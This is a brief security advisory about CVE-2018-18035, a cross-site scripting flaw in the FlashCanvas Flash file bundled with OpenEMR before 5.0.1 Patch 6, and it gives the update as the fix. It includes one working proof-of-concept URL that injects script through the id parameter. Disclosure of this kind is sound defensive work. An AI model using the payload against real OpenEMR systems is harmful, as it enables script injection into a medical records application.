Vulnerability
Purplemet Lab team discovered a cross-site scripting (XSS) vulnerability in OpenEMR before 5.0.1 Patch 6 (CVE-2018-18035). These versions embed a third party component named FlashCanvas which provides flashcanvas.swf, a Flash file vulnerable to a cross-site scripting.
Solution
Update to OpenEMR 5.0.1 Patch 6 or latest version.
Proof of concept
The vulnerability can be triggered using the following URL:
http://ip/openemr/portal/sign/assets/flashcanvas.swf?id=12345678\%22));}catch(e){alert(document.domain)}//
Reference
See OpenEMR 5.0.1 Patch (9/9/18) release.
Purplemet technology detection
Purplemet detects OpenEMR with version and CVE.
